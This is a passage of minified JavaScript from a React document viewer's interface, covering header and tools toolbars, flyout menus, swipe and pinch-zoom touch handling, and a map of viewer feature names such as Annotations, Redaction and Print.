"):"";f&&(window.navigator.userAgent.match(/(iPad|iPhone|iPod)/i)||"MacIntel"===navigator.platform&&navigator.maxTouchPoints>1||window.navigator.userAgent.match(/Android/i)||window.navigator.userAgent.match(/webOS|BlackBerry|IEMobile|Opera Mini/i))&&(d+=" hide-in-mobile hide-in-small-mobile");var p="".concat(l,"-").concat(u||a);switch(l){case"toolButton":return s.a.createElement(kf,Nd({key:p,mediaQueryClassName:d},e));case"scrollGroup":return s.a.createElement(Rd,{key:p},s.a.createElement(i,{items:e.children,isToolGroupReorderingEnabled:n,isInDesktopOnlyMode:r}));case"toolGroupButton":if(!n)return s.a.createElement(nd,Nd({key:p,mediaQueryClassName:d},e));if(!o){o=!0;var h=t.filter((function(e){return"toolGroupButton"===e.type}));return s.a.createElement(Ld,{key:p,toolGroupButtonsItems:h})}return null;case"toggleElementButton":return s.a.createElement(Df,Nd({key:p,mediaQueryClassName:d},e));case"actionButton":return s.a.createElement(rd,Nd({key:p,mediaQueryClassName:d},e));case"statefulButton":return s.a.createElement(hd,Nd({key:p,mediaQueryClassName:d},e));case"customElement":return s.a.createElement(wd,Nd({key:p,mediaQueryClassName:d},e));case"spacer":case"divider":return s.a.createElement("div",{key:p,className:"".concat(l," ").concat(d)});default:return console.warn("".concat(l," is not a valid header item type.")),null}}));return s.a.createElement("div",{className:"HeaderItems"},a)}}])&&Fd(t.prototype,n),r&&Fd(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);Ud=qd,Gd="propTypes",Wd={isToolGroupReorderingEnabled:Is.a.bool.isRequired,items:Is.a.arrayOf(Is.a.object).isRequired,isInDesktopOnlyMode:Is.a.bool},Gd in Ud?Object.defineProperty(Ud,Gd,{value:Wd,enumerable:!0,configurable:!0,writable:!0}):Ud[Gd]=Wd;var Zd=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1);return s.a.createElement(qd,Nd({},e,{isMobile:t}))};n(270);function Yd(e){return(Yd="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function $d(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Kd(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Xd(e,t){return(Xd=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Qd(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ep(e);if(t){var o=ep(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Jd(this,n)}}function Jd(e,t){if(t&&("object"===Yd(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function ep(e){return(ep=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var tp=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Xd(e,t)}(i,e);var t,n,r,o=Qd(i);function i(){return $d(this,i),o.apply(this,arguments)}return t=i,(n=[{key:"render",value:function(){var e=this.props,t=e.isDisabled,n=e.activeHeaderItems,r=e.isOpen,o=e.isToolsHeaderOpen,i=e.currentToolbarGroup,a=e.isMultiTab,l=e.isToolGroupReorderingEnabled,u=e.isInDesktopOnlyMode;return t||!r?null:s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:js()({Header:!0}),"data-element":"header"},s.a.createElement(Zd,{items:n,isToolGroupReorderingEnabled:l,isInDesktopOnlyMode:u}),(!o||"toolbarGroup-View"===i)&&!a&&s.a.createElement("div",{className:"view-header-border"})))}}])&&Kd(t.prototype,n),r&&Kd(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);!function(e,t,n){t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n}(tp,"propTypes",{isDisabled:Is.a.bool,isOpen:Is.a.bool,activeHeaderItems:Is.a.array.isRequired,isToolGroupReorderingEnabled:Is.a.bool,isInDesktopOnlyMode:Is.a.bool,isToolsHeaderOpen:Is.a.bool,isMultiTab:Is.a.bool,currentToolbarGroup:Is.a.string});var np=Q((function(e){return{isMultiTab:fi.getIsMultiTab(e),currentToolbarGroup:fi.getCurrentToolbarGroup(e),isToolsHeaderOpen:fi.isElementOpen(e,"toolsHeader"),isDisabled:fi.isElementDisabled(e,"header"),isOpen:fi.isElementOpen(e,"header"),activeHeaderItems:fi.getActiveHeaderItems(e),isToolGroupReorderingEnabled:fi.isToolGroupReorderingEnabled(e),isInDesktopOnlyMode:fi.isInDesktopOnlyMode(e)}}))(tp);function rp(e){return(rp="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function op(){return(op=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function ip(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function ap(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function lp(e,t){return(lp=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function sp(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=cp(e);if(t){var o=cp(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return up(this,n)}}function up(e,t){if(t&&("object"===rp(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function cp(e){return(cp=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var fp=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&lp(e,t)}(i,e);var t,n,r,o=sp(i);function i(){return ip(this,i),o.apply(this,arguments)}return t=i,(n=[{key:"render",value:function(){var e=this.props,t=e.isDisabled,n=e.activeHeaderItems,r=e.isOpen,o=e.currentToolbarGroup,i=e.isToolGroupReorderingEnabled,a=e.isInDesktopOnlyMode,l=!t&&r&&"toolbarGroup-View"!==o;return s.a.createElement("div",{className:js()({HeaderToolsContainer:!0,closed:!l}),"data-element":"toolsHeader"},s.a.createElement("div",{className:"Header Tools"},s.a.createElement(Zd,{items:n,isToolGroupReorderingEnabled:i,isInDesktopOnlyMode:a})))}}])&&ap(t.prototype,n),r&&ap(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);!function(e,t,n){t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n}(fp,"propTypes",{isDisabled:Is.a.bool,isOpen:Is.a.bool,activeHeaderItems:Is.a.array.isRequired,isToolGroupReorderingEnabled:Is.a.bool,isInDesktopOnlyMode:Is.a.bool});var dp=Q((function(e){return{currentToolbarGroup:fi.getCurrentToolbarGroup(e),isDisabled:fi.isElementDisabled(e,"toolsHeader"),isOpen:fi.isElementOpen(e,"toolsHeader"),activeHeaderItems:fi.getToolsHeaderItems(e),isToolsOverlayOpen:fi.isElementOpen(e,"toolsOverlay"),isToolsOverlayDisabled:fi.isElementDisabled(e,"toolsOverlay"),isSignatureOverlayOpen:fi.isElementOpen(e,"signatureOverlay"),isSignatureOverlayDisabled:fi.isElementDisabled(e,"signatureOverlay"),isToolGroupReorderingEnabled:fi.isToolGroupReorderingEnabled(e),isInDesktopOnlyMode:fi.isInDesktopOnlyMode(e)}}),{setActiveToolGroup:Ps.setActiveToolGroup})(fp),pp=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1),n=Rf(["(max-width: 900px)"],[!0],!1);return s.a.createElement(dp,op({},e,{isMobile:t,isTabletAndMobile:n}))},hp=[{displayMode:"Single",pageTransition:"default",layout:"single"},{displayMode:"Continuous",pageTransition:"continuous",layout:"single"},{displayMode:"Facing",pageTransition:"default",layout:"double"},{displayMode:"FacingContinuous",pageTransition:"continuous",layout:"double"},{displayMode:"CoverFacing",pageTransition:"default",layout:"cover"},{displayMode:"Cover",pageTransition:"continuous",layout:"cover"}];function mp(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function gp(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var vp=function(e,t,n,r){var o=document.querySelector("[data-element=".concat(e,"]")),i=0,a="auto";if(!o||!t.current)return{left:-9999,right:a};var l,s=o.getBoundingClientRect(),u=s.bottom,c=s.left,f=t.current.getBoundingClientRect(),d=f.width,p=f.height;if(c+d>window.innerWidth){i=window.innerWidth-6-d,a="auto"}else i=c,a="auto";var h=n?14:6,m=u+h;return u>window.innerHeight/2?(m=0,l=window.innerHeight):u+p>window.innerHeight&&!r&&(m=window.innerHeight-p-h),function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?mp(Object(n),!0).forEach((function(t){gp(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):mp(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({left:isNaN(i)?i:Math.max(i,0),right:a,top:m},l&&{maxHeight:l})},yp=function(e,t){Object(l.useEffect)((function(){var n=function(n){e.current&&!e.current.contains(n.target)&&t(n)};return document.addEventListener("mousedown",n),document.addEventListener("touchstart",n),function(){document.removeEventListener("mousedown",n),document.removeEventListener("touchstart",n)}}),[e,t])};function bp(){return(bp=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var wp={preventDefaultTouchmoveEvent:!1,delta:10,rotationAngle:0,trackMouse:!1,trackTouch:!0},Ep={xy:[0,0],swiping:!1,eventData:void 0,start:void 0};function Sp(e,t){if(0===t)return e;var n=Math.PI/180*t;return[e[0]*Math.cos(n)+e[1]*Math.sin(n),e[1]*Math.cos(n)-e[0]*Math.sin(n)]}function Cp(e,t){var n=function(t){t.touches&&t.touches.length>1||e((function(e,n){n.trackMouse&&(document.addEventListener("mousemove",r),document.addEventListener("mouseup",a));var o=t.touches?t.touches[0]:t,i=Sp([o.clientX,o.clientY],n.rotationAngle);return bp({},e,Ep,{eventData:{initial:[].concat(i),first:!0},xy:i,start:t.timeStamp||0})}))},r=function(t){e((function(e,n){if(!e.xy[0]||!e.xy[1]||t.touches&&t.touches.length>1)return e;var r=t.touches?t.touches[0]:t,o=Sp([r.clientX,r.clientY],n.rotationAngle),i=o[0],a=o[1],l=e.xy[0]-i,s=e.xy[1]-a,u=Math.abs(l),c=Math.abs(s),f=(t.timeStamp||0)-e.start,d=Math.sqrt(u*u+c*c)/(f||1);if(u<n.delta&&c<n.delta&&!e.swiping)return e;var p=function(e,t,n,r){return e>t?n>0?"Left":"Right":r>0?"Up":"Down"}(u,c,l,s),h=bp({},e.eventData,{event:t,absX:u,absY:c,deltaX:l,deltaY:s,velocity:d,dir:p});n.onSwiping&&n.onSwiping(h);var m=!1;return(n.onSwiping||n.onSwiped||n["onSwiped"+p])&&(m=!0),m&&n.preventDefaultTouchmoveEvent&&n.trackTouch&&t.cancelable&&t.preventDefault(),bp({},e,{eventData:bp({},h,{first:!1}),swiping:!0})}))},o=function(t){e((function(e,n){var r;return e.swiping&&(r=bp({},e.eventData,{event:t}),n.onSwiped&&n.onSwiped(r),n["onSwiped"+r.dir]&&n["onSwiped"+r.dir](r)),bp({},e,Ep,{eventData:r})}))},i=function(){document.removeEventListener("mousemove",r),document.removeEventListener("mouseup",a)},a=function(e){i(),o(e)},l=function(e){if(e&&e.addEventListener){var t=[["touchstart",n],["touchmove",r],["touchend",o]];return t.forEach((function(t){var n=t[0],r=t[1];return e.addEventListener(n,r)})),function(){return t.forEach((function(t){var n=t[0],r=t[1];return e.removeEventListener(n,r)}))}}},s={ref:function(t){null!==t&&e((function(e,n){if(e.el===t)return e;var r={};return e.el&&e.el!==t&&e.cleanUpTouch&&(e.cleanUpTouch(),r.cleanUpTouch=null),n.trackTouch&&t&&(r.cleanUpTouch=l(t)),bp({},e,{el:t},r)}))}};return t.trackMouse&&(s.onMouseDown=n),[s,l]}function xp(e,t,n){var r={};return!t.trackTouch&&e.cleanUpTouch?(e.cleanUpTouch(),r.cleanUpTouch=null):t.trackTouch&&!e.cleanUpTouch&&e.el&&(r.cleanUpTouch=n(e.el)),bp({},e,r)}var Op=function(e){var t,n;function r(t){var n;return(n=e.call(this,t)||this)._set=function(e){n.transientState=e(n.transientState,n.props)},n.transientState=bp({},Ep,{type:"class"}),n}return n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n,r.prototype.render=function(){var e=this.props,t=e.className,n=e.style,r=e.nodeName,o=void 0===r?"div":r,i=e.innerRef,a=e.children,l=e.trackMouse,u=Cp(this._set,{trackMouse:l}),c=u[0],f=u[1];this.transientState=xp(this.transientState,this.props,f);var d=i?function(e){return i(e),c.ref(e)}:c.ref;return s.a.createElement(o,bp({},c,{className:t,style:n,ref:d}),a)},r}(s.a.PureComponent);Op.propTypes={onSwiped:Is.a.func,onSwiping:Is.a.func,onSwipedUp:Is.a.func,onSwipedRight:Is.a.func,onSwipedDown:Is.a.func,onSwipedLeft:Is.a.func,delta:Is.a.number,preventDefaultTouchmoveEvent:Is.a.bool,nodeName:Is.a.string,trackMouse:Is.a.bool,trackTouch:Is.a.bool,innerRef:Is.a.func,rotationAngle:Is.a.number},Op.defaultProps=wp;var Ap=["a[href]","area[href]",'input:not([disabled]):not([type="hidden"]):not([aria-hidden])',"select:not([disabled]):not([aria-hidden])","textarea:not([disabled]):not([aria-hidden])","button:not([disabled]):not([aria-hidden])","iframe","object","embed","[contenteditable]",'[tabindex]:not([tabindex^="-"])'].join(",");function _p(e,t){"Escape"===e.key&&t(e)}function Tp(e,t,n){var r=Object(l.useCallback)((function(){return n.current.querySelectorAll(Ap)}),[n]);Object(l.useEffect)((function(){if(e){var n=document.activeElement,o=function(e){if("Tab"===e.key||"Escape"===e.key)return t(),void(n&&n.focus());if("ArrowUp"===e.key||"ArrowDown"===e.key){var o=r();if(0===o.length)return;var i=function(e,t){var n=-1;if(!t)return n;for(var r=0;r<e.length;r++)if(e[r]===t){n=r;break}return n}(o,document.activeElement);"ArrowUp"===e.key&&-1===i&&(i=0),o[(i+("ArrowUp"===e.key?-1:1)+o.length)%o.length].focus(),document.documentElement.setAttribute("data-tabbing","true")}};return window.addEventListener("keydown",o),function(){return window.removeEventListener("keydown",o)}}}),[r,e,t])}n(935);function kp(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Pp(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Pp(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Pp(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Mp=["menuOverlay","groupOverlay","viewControlsOverlay","searchOverlay","signatureOverlay","zoomOverlay","redactionOverlay","toolStylePopup","pageManipulationOverlay","thumbnailsControlRotatePopup","thumbnailsControlInsertPopup","thumbnailsControlManipulatePopup","tabMenu"],Rp={menu:Is.a.oneOf(Mp).isRequired,trigger:Is.a.oneOf(["menuButton","viewControlsButton","zoomOverlayButton","pageManipulationOverlayButton","thumbnailsControlRotatePopupTrigger","thumbnailsControlInsertPopupTrigger","thumbnailsControlManipulatePopupTrigger","tabTrigger"]).isRequired,children:Is.a.node.isRequired,onClose:Is.a.func,ariaLabel:Is.a.string};function jp(e){var t=e.menu,n=e.trigger,r=e.onClose,o=e.children,i=e.ariaLabel,a=re(),u=Object(l.useMemo)((function(){return Mp.filter((function(e){return e!==t}))}),[t]),c=le((function(e){return fi.isElementDisabled(e,t)})),f=le((function(e){return fi.isElementOpen(e,t)})),d=le((function(e){return fi.isInDesktopOnlyMode(e)})),p=Object(l.useCallback)((function(){a(Ps.closeElements([t])),r&&r()}),[a,t,r]),h=Object(l.useRef)(null);Tp(!c&&f,p,h);var m=Object(l.useCallback)((function(e){var t=document.querySelector('[data-element="'.concat(n,'"]'));(null==t?void 0:t.contains(e.target))||p()}),[p,n]);yp(h,m);var g=kp(Object(l.useState)((function(){return{left:0,right:"auto",top:"auto"}})),2),v=g[0],y=g[1],b=Rf(["(max-width: 640px)"],[!0],!1),w=Rf(["(max-width: 900px)"],[!0],!1),E=Rf(["(max-height: 500px)"],[!0],!1);if(Object(l.useLayoutEffect)((function(){if(f){a(Ps.closeElements(u));var e=function(){var e=vp(n,h,b&&w,E);E&&(e.maxHeight=window.innerHeight-e.top),y(e)};return e(),window.addEventListener("resize",e),function(){return window.removeEventListener("resize",e)}}}),[u,a,f,w,n,E,b]),c)return null;var S=js()("Overlay","FlyoutMenu",{mobile:b&&!d,closed:!f});return s.a.createElement(Op,{onSwipedUp:p,onSwipedDown:p,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:S,"data-element":t,style:!b||d?v:void 0,ref:h,role:"listbox","aria-label":i},b&&!d&&s.a.createElement("div",{className:"swipe-indicator"}),o))}jp.propTypes=Rp;var Lp=jp,Ip={on:function(){qc.on.apply(qc,arguments)},off:function(){qc.off.apply(qc,arguments)},Keys:zc};function Np(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var Dp=new(function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e);try{this.localStorageEnabled=!!window.localStorage}catch(e){console.error("window.localStorage unavailable. Disabling local storage."),this.localStorageEnabled=!1}}var t,n,r;return t=e,(n=[{key:"enableLocalStorage",value:function(){this.localStorageEnabled=!0}},{key:"disableLocalStorage",value:function(){this.localStorageEnabled=!1}},{key:"isLocalStorageEnabled",value:function(){return this.localStorageEnabled}}])&&Np(t.prototype,n),r&&Np(t,r),Object.defineProperty(t,"prototype",{writable:!1}),e}()),Fp="tap",Bp="doubleTap",Hp="pinch",Vp="pan",zp="swipe",Up={initialize:function(e,t){this.document=e,this.container=t,this.allowSwipe=!0,this.allowHorizontalSwipe=!0,this.allowVerticalSwipe=!1,this.verticalMomentum=0,this.horziontalMomentum=0,this.verticalLock=!1,this.horziontalLock=!1,this.enableTouchScrollLock=!0,this.startingScrollLeft=null,this.startingScrollTop=null,this.useNativeScroll=!1,this.touch={clientX:0,clientY:0,distance:0,horizontalDistance:0,verticalDistance:0,scale:1,zoom:1,type:""},this.handleTouchStart=this.handleTouchStart.bind(this),this.handleTouchMove=this.handleTouchMove.bind(this),this.handleTouchEnd=this.handleTouchEnd.bind(this),this.handleTouchCancel=this.handleTouchCancel.bind(this),this.container.addEventListener("touchstart",this.handleTouchStart,{passive:!1}),this.container.addEventListener("touchmove",this.handleTouchMove,{passive:!1}),this.container.addEventListener("touchend",this.handleTouchEnd,{passive:!1}),this.container.addEventListener("touchcancel",this.handleTouchCancel,{passive:!1})},terminate:function(){this.container.removeEventListener("touchstart",this.handleTouchStart),this.container.removeEventListener("touchmove",this.handleTouchMove),this.container.removeEventListener("touchend",this.handleTouchEnd),this.container.removeEventListener("touchcancel",this.handleTouchCancel)},handleTouchStart:function(e){switch(e.touches.length){case 1:var t=e.touches[0],n=this.container.clientWidth,r=this.document.clientWidth,o=this.touch.type===Fp&&this.getDistance(this.touch,t)<=10;this.touch={clientX:t.clientX,clientY:t.clientY,distance:0,scale:n/r,zoom:vt.getZoom(),type:o?Bp:Fp,touchStartTimeStamp:Date.now(),stopMomentumScroll:!0,touchMoveCount:0},this.startingScrollLeft=this.container.scrollLeft,this.startingScrollTop=this.container.scrollTop,clearTimeout(this.doubleTapTimeout);break;case 2:e.cancelable&&e.preventDefault();var i=e.touches[0],a=e.touches[1],l=(i.clientX+a.clientX)/2,s=(i.clientY+a.clientY)/2,u=l-this.document.offsetLeft+this.container.scrollLeft,c=s-this.document.offsetTop+this.container.scrollTop;this.touch={previousPinchScale:0,marginLeft:this.document.offsetLeft,marginTop:parseFloat(window.getComputedStyle(this.document).marginTop),clientX:l,clientY:s,docX:u,docY:c,distance:this.getDistance(i,a),scale:1,zoom:vt.getZoom(),touchStartTimeStamp:Date.now(),stopMomentumScroll:!0,touchMoveCount:0},Mt||(this.document.style.transformOrigin="".concat(u,"px ").concat(c,"px")),this.startingScrollLeft=this.container.scrollLeft,this.startingScrollTop=this.container.scrollTop}},axisLockThreshold:8,isScrollingVertically:function(){return Math.abs(this.verticalMomentum)>0&&0===this.horziontalMomentum||Math.abs(this.touch.verticalDistance)>this.axisLockThreshold*Math.abs(this.touch.horizontalDistance)},isScrollingHorziontally:function(){return Math.abs(this.horziontalMomentum)>0&&0===this.verticalMomentum||Math.abs(this.touch.horizontalDistance)>this.axisLockThreshold*Math.abs(this.touch.verticalDistance)},canLockScrolling:function(){var e=this.container,t=this.document,n=t.clientWidth<e.clientWidth||t.clientHeight<e.clientHeight,r=this.verticalLock||this.horziontalLock;return!n&&this.enableTouchScrollLock&&this.touch.touchMoveCount<6&&!r},handleScroll:function(e){this.useNativeScroll||(this.touch.horizontalDistance=this.touch.clientX-e.clientX,this.touch.verticalDistance=this.touch.clientY-e.clientY,this.canLockScrolling()&&(this.verticalLock=this.isScrollingVertically(),this.horziontalLock=this.isScrollingHorziontally()),this.enableTouchScrollLock&&(this.verticalLock&&(this.container.scrollTo(this.startingScrollLeft,this.container.scrollTop),this.touch.horizontalDistance=0),this.horziontalLock&&(this.container.scrollTo(this.container.scrollLeft,this.startingScrollTop),this.touch.verticalDistance=0)))},handleTouchMove:function(e){switch(e.touches.length){case 1:e.cancelable&&e.preventDefault();var t=e.touches[0];this.getDistance(this.touch,t)>10&&(this.touch.type=zp),this.handleScroll(t),this.touch.touchMoveCount++;break;case 2:var n=e.touches[0],r=e.touches[1],o=vt.getTool("Pan"),i=o.isPanning(),a=o.isPinching();if(i){this.touch.type=Vp,e.cancelable&&e.preventDefault();var l={clientX:(n.clientX+r.clientX)/2,clientY:(n.clientY+r.clientY)/2};this.getDistance(this.touch,l)>10&&(this.touch.type=zp),this.handleScroll(l),this.touch.touchMoveCount++;break}if(a){if(this.touch.type=Hp,e.cancelable&&e.preventDefault(),this.touch.scale=this.getDistance(n,r)/this.touch.distance,this.touch.scale*this.touch.zoom<qt()?this.touch.scale=qt()/this.touch.zoom:this.touch.scale*this.touch.zoom>Zt()&&(this.touch.scale=Zt()/this.touch.zoom),Mt){var s=(this.touch.marginLeft-this.container.offsetLeft+(1-this.touch.scale)*this.touch.docX)/this.touch.scale,u=(this.touch.marginTop+(1-this.touch.scale)*this.touch.docY)/this.touch.scale;this.document.style.marginLeft="".concat(s,"px"),this.document.style.marginTop="".concat(u,"px"),this.document.style.zoom=this.touch.scale}else this.document.style.transform="scale(".concat(this.touch.scale,")");break}}},handleTouchEnd:function(e){var t=this;switch(this.touch.type){case Fp:this.doubleTapTimeout=setTimeout((function(){t.touch.type=""}),300),this.horziontalLock=!1,this.verticalLock=!1;break;case zp:if(!this.allowSwipe||this.isUsingAnnotationTools()||vt.getSelectedText().length||vt.getSelectedAnnotations().length)return;var n=this.reachedBoundary(),r=n.reachedLeft,o=n.reachedTop,i=n.reachedRight,a=n.reachedBottom,l=.1*this.container.clientWidth,s=a&&this.touch.verticalDistance>l,u=o&&this.touch.verticalDistance<-l,c=i&&this.touch.horizontalDistance>l,f=r&&this.touch.horizontalDistance<-l,d=vt.getCurrentPage(),p=vt.getTotalPages(),h=Dc(),m=1===d,g=d===p,v=!vt.isContinuousDisplayMode(),y=v&&!m&&(f&&this.allowHorizontalSwipe||u&&this.allowVerticalSwipe),b=v&&!g&&(c&&this.allowHorizontalSwipe||s&&this.allowVerticalSwipe);if(y)vt.setCurrentPage(Math.max(1,d-h));else if(b)vt.setCurrentPage(Math.min(p,d+h));else if(!this.useNativeScroll){var w=(Date.now()-this.touch.touchStartTimeStamp)/1e3;w<.2?(this.touch.stopMomentumScroll=!1,this.startMomentumScroll(w)):(this.horziontalLock=!1,this.verticalLock=!1)}break;case Bp:var E=vt.getAnnotationByMouseEvent(e),S=E&&E instanceof Annotations.FreeTextAnnotation;if(this.isUsingAnnotationTools()){var C=vt.getToolMode();C.finish&&C.finish()}else if(!S){this.oldZoom?(this.touch.scale=Math.max(this.oldZoom/this.touch.zoom,qt()/this.touch.zoom),this.oldZoom=null):(this.touch.scale=Math.min(3,Zt()/this.touch.zoom),this.oldZoom=this.touch.zoom);var x=vt.getZoom()*this.touch.scale,O=this.getPointAfterScale(),A=O.x,_=O.y;vt.zoomTo(x,A,_)}S&&vt.getAnnotationManager().trigger("annotationDoubleClicked",E);break;case Hp:if(this.touch.previousPinchScale===this.touch.scale)return;this.touch.previousPinchScale=this.touch.scale,Mt?(this.document.style.zoom=1,this.document.style.margin="auto"):this.document.style.transform="none";var T=vt.getZoom()*this.touch.scale,k=this.getPointAfterScale(),P=k.x,M=k.y;vt.zoomTo(T,P,M)}this.touch.touchMoveCount=0,this.verticalMomentum=0,this.horziontalMomentum=0},handleTouchCancel:function(e){this.handleTouchEnd(e)},startMomentumScroll:function(e){var t=this,n=1,r=this.container.scrollLeft,o=this.container.scrollTop,i=this.touch.horizontalDistance/e/1.85,a=this.touch.verticalDistance/e/1.85;requestAnimationFrame((function e(){var l=t.easeOutQuad(n,r,i,70),s=t.easeOutQuad(n,o,a,70);t.verticalMomentum=a,t.horziontalMomentum=i;var u=!t.touch.touchMoveCount,c=t.container.scrollLeft-l,f=t.container.scrollTop-s,d=Math.abs(c)<1&&Math.abs(f)<1;t.container.scrollLeft=l,t.container.scrollTop=s,u&&d&&(t.horziontalLock=!1,t.verticalLock=!1),n<70&&!t.touch.stopMomentumScroll&&(n++,requestAnimationFrame(e)),u&&70===n&&(t.horziontalLock=!1,t.verticalLock=!1,t.verticalMomentum=0,t.horziontalMomentum=0)}))},easeOutQuad:function(e,t,n,r){return-n*(e/=r)*(e-2)+t},reachedBoundary:function(){var e=this.container,t=e.clientHeight,n=e.clientWidth,r=e.scrollLeft,o=e.scrollTop,i=this.document;return{reachedLeft:r<=0,reachedTop:o<=0,reachedBottom:t+o>=i.clientHeight,reachedRight:n+r>=i.clientWidth}},getDistance:function(e,t){return Math.hypot(e.clientX-t.clientX,e.clientY-t.clientY)},getPointAfterScale:function(){return{x:(this.touch.clientX+this.container.scrollLeft-this.document.offsetLeft)*this.touch.scale-this.touch.clientX+this.container.offsetLeft,y:(this.touch.clientY+this.container.scrollTop-this.document.offsetTop)*this.touch.scale-this.touch.clientY+this.container.offsetTop}},isUsingAnnotationTools:function(){var e=vt.getToolMode();return sc(ic(e.name)).annotationCheck}},Gp=Object.create(Up),Wp={Measurement:"Measurement",Ribbons:"Ribbons",Annotations:"Annotations",Download:"Download",FilePicker:"FilePicker",LocalStorage:"LocalStorage",NotesPanel:"NotesPanel",Print:"Print",Redaction:"Redaction",TextSelection:"TextSelection",TouchScrollLock:"TouchScrollLock",Copy:"Copy",MultipleViewerMerging:"MultipleViewerMerging",ThumbnailMerging:"ThumbnailMerging",ThumbnailReordering:"ThumbnailReordering",ThumbnailMultiselect:"ThumbnailMultiselect",PageNavigation:"PageNavigation",MouseWheelZoom:"MouseWheelZoom",Search:"Search",MathSymbols:"MathSymbols",OutlineEditing:"OutlineEditing",NotesPanelVirtualizedList:"NotesPanelVirtualizedList",NotesShowLastUpdatedDate:"NotesShowLastUpdatedDate",MultiTab:"MultiTab",ChangeView:"ChangeView"},qp=function(){var e=[],t=vt.getToolModeMap();return 